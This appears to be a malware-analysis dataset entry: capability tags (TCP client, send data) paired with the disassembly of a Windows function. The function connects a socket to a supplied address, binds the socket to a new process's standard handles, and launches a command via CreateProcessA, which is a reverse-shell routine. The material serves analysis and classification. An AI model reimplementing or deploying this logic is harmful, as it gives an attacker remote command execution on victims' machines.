Function at 0x1400053b2
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140013c60
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3b0
lea rdi, [rsp + 0x50]
mov ecx, 0xd8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3c0]
mov rax, qword [0x1401c40e0]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
mov eax, 0x202
mov word [rsp + 0x334], ax
lea rdx, [rsp + 0x60]
movzx ecx, word [rsp + 0x334]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rdx, [rsp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x208], rax
mov eax, 2
mov word [rsp + 0x228], ax
movzx ecx, word [rsp + 0x3c8]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x22a], ax
mov rcx, qword [rsp + 0x3c0]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x22c], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, send
lea rdx, [rsp + 0x228]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_WSAConnect]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jne 0x140013f2b
mov rcx, qword [rsp + 0x3d0]
call fcn.1400034a4
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_send]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x290]
call fcn.140004c5f
mov dword [rsp + 0x290], WSAGetLastError
mov dword [rsp + 0x2cc], 0x100
xor eax, eax
mov word [rsp + 0x2d0], ax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x2e0], rax
lea rax, [0x1401717ac]
mov qword [rsp + 0x348], rax
lea rax, [0x1401717c4]
mov qword [rsp + 0x350], rax
lea rax, [0x1401717fc]
mov qword [rsp + 0x358], rax
lea rax, [0x140171834]
mov qword [rsp + 0x360], rax
movzx eax, byte [0x140171556]
mov byte [rsp + 0x388], al
lea rax, [rsp + 0x389]
mov rdi, rax
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 3
mov ecx, 8
imul rcx, rcx, 2
mov edx, 8
imul rdx, rdx, 1
mov edi, 8
imul rdi, rdi, 0
mov rax, qword [rsp + rax + 0x348]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + rcx + 0x348]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + rdx + 0x348]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + rdi + 0x348]
lea r8, str._s_s_s_s
mov edx, 8
lea rcx, [rsp + 0x388]
call fcn.140004791
lea rax, [rsp + 0x318]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x290]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x388]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, rsp
lea rdx, [0x140172980]
call fcn.1400052db
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.140003747
add rsp, 0x3b0
pop rdi
ret